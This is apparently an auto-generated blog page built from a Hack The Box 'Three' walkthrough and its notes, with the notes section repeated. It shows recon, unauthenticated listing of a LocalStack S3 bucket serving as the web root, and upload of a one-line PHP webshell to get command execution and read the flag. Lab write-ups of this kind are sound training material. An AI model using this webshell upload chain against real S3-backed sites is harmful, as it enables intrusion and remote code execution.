HTB Three
1. Discovered web app "The Toppers" on port 80 with domain thetoppers.htb 2. Identified S3-compatible service at s3.thetoppers.htb (LocalStack) 3. Listed S3 bucket thetoppers.htb โ found it's the web root (contains index.php) 4. Uploaded PHP webshell via AWS...
Scenario
HTB Three attack path
Discovered web app "The Toppers" on port 80 with domain thetoppers.htb 2. Identified S3-compatible service at s3.thetoppers.htb (LocalStack) 3. Listed S3 bucket thetoppers.htb โ found it's the web root (contains index.php) 4. Uploaded PHP webshell via AWS...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Web recon to found email to domain thetoppers.htb
Box name hint "Three" to tested s3.thetoppers.htb to...
aws s3 ls to bucket thetoppers.htb contains web root...
Uploaded PHP webshell via aws s3 cp with...
Executed webshell to RCE as www-data to read...
Source coverage
Moderate source coverage
Status: partial. This article is generated from 3 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-Three/walkthrough.md
- HTB/<TARGET>-Three/notes.md
- HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Three__notes.md.a36035717c.md
Technical Walkthrough
HTB Three - Walkthrough
Target Info
- IP: <TARGET>
- OS: Linux (Ubuntu)
- Difficulty: Easy (Starting Point)
- Services: SSH (22), HTTP (80)
- Flag:
<hash redacted>
Attack Chain Summary
- Discovered web app "The Toppers" on port 80 with domain
thetoppers.htb - Identified S3-compatible service at
s3.thetoppers.htb(LocalStack) - Listed S3 bucket
thetoppers.htbโ found it's the web root (contains index.php) - Uploaded PHP webshell via AWS CLI to the S3 bucket
- Executed webshell to read flag at
/var/www/flag.txt
Phase 1: Recon
Nmap
nmap -sC -sV <TARGET>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))Web Fingerprinting
- Site title: "The Toppers" (band website)
- Contact email:
<email redacted>--> domain =thetoppers.htb - Server: Apache/2.4.29 (Ubuntu)
Vhost Discovery
Tested s3.thetoppers.htb based on box name hint ("Three" = S3):
curl -sI http://s3.thetoppers.htb/HTTP/1.1 404
Server: hypercorn-h11
Access-Control-Allow-Headers: ...x-amz-*...x-localstack-target...Confirmed: LocalStack S3 service running as a vhost.
Phase 2: S3 Enumeration
List Buckets
aws s3 ls --endpoint-url http://s3.thetoppers.htb --no-sign-request2026-05-04 15:51:47 thetoppers.htbList Bucket Contents
aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb --no-sign-requestPRE images/
2026-05-04 15:51:47 0 .htaccess
2026-05-04 15:51:47 11952 index.phpThis is the web root served by Apache.
Phase 3: Exploitation
Upload PHP Webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
aws s3 cp /tmp/shell.php s3://thetoppers.htb/shell.php --endpoint-url http://s3.thetoppers.htb --no-sign-requestExecute Webshell
curl -s 'http://thetoppers.htb/shell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Capture Flag
curl -s 'http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt'
# <hash redacted>Key Takeaways
- Box name is always a hint on HTB Starting Point machines ("Three" = AWS S3)
- LocalStack is commonly used to emulate AWS services in CTFs
--no-sign-requestbypasses authentication on misconfigured S3 endpoints- When an S3 bucket serves as a web root, uploading a webshell = RCE
hypercorn-h11server header +x-localstack-targetheader = LocalStack confirmation
/etc/hosts Entries Used
<TARGET> thetoppers.htb
<TARGET> s3.thetoppers.htbTime to Solve
~5 minutes (from initial scan to flag capture)
Source-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Scope
- Target: <TARGET> (Three)
- OS: Linux (Ubuntu)
- Difficulty: Easy (Starting Point)
- Attacker IP: <TARGET> (Pwnbox VPN)
- Pwnbox SSH: x08@<TARGET>
- Started: 2026-05-05
- Completed: 2026-05-05
Status: PWNED
Flag
<hash redacted>Services
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 |
| 80 | HTTP | Apache 2.4.29 (Ubuntu) |
| 80 (vhost) | S3/LocalStack | hypercorn-h11 |
Hostnames
thetoppers.htb(main web app)s3.thetoppers.htb(LocalStack S3 endpoint)
Attack Path
- Web recon -> found email
<email redacted>-> domainthetoppers.htb - Box name hint "Three" -> tested
s3.thetoppers.htb-> confirmed LocalStack S3 aws s3 ls-> bucketthetoppers.htbcontains web root (index.php)- Uploaded PHP webshell via
aws s3 cpwith--no-sign-request - Executed webshell -> RCE as www-data -> read
/var/www/flag.txt
Command Log
# Nmap
nmap -sC -sV <TARGET>
# Web recon
curl -s http://<TARGET>/ | grep -i '@'
# Found: <email redacted>
# S3 vhost confirmation
curl -sI http://s3.thetoppers.htb/
# Server: hypercorn-h11, x-amz headers present
# S3 enumeration
aws s3 ls --endpoint-url http://s3.thetoppers.htb --no-sign-request
aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb --no-sign-request
# Webshell upload + execution
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
aws s3 cp /tmp/shell.php s3://thetoppers.htb/shell.php --endpoint-url http://s3.thetoppers.htb --no-sign-request
curl -s 'http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt'Notes
Scope
- Target: <TARGET> (Three)
- OS: Linux (Ubuntu)
- Difficulty: Easy (Starting Point)
- Attacker IP: <TARGET> (Pwnbox VPN)
- Pwnbox SSH: x08@<TARGET>
- Started: 2026-05-05
- Completed: 2026-05-05
Status: PWNED
Flag
<<secret redacted>>Services
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 |
| 80 | HTTP | Apache 2.4.29 (Ubuntu) |
| 80 (vhost) | S3/LocalStack | hypercorn-h11 |
Hostnames
thetoppers.htb(main web app)s3.thetoppers.htb(LocalStack S3 endpoint)
Attack Path
- Web recon -> found email
<email redacted>-> domainthetoppers.htb - Box name hint "Three" -> tested
s3.thetoppers.htb-> confirmed LocalStack S3 aws s3 ls-> bucketthetoppers.htbcontains web root (index.php)- Uploaded PHP webshell via
aws s3 cpwith--no-sign-request - Executed webshell -> RCE as www-data -> read
/var/www/flag.txt
Command Log
# Nmap
nmap -sC -sV <TARGET>
# Web recon
curl -s http://<TARGET>/ | grep -i '@'
# Found: <email redacted>
# S3 vhost confirmation
curl -sI http://s3.thetoppers.htb/
# Server: hypercorn-h11, x-amz headers present
# S3 enumeration
aws s3 ls --endpoint-url http://s3.thetoppers.htb --no-sign-request
aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb --no-sign-request
# Webshell upload + execution
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
aws s3 cp /tmp/shell.php s3://thetoppers.htb/shell.php --endpoint-url http://s3.thetoppers.htb --no-sign-request
curl -s 'http: <REDACTED>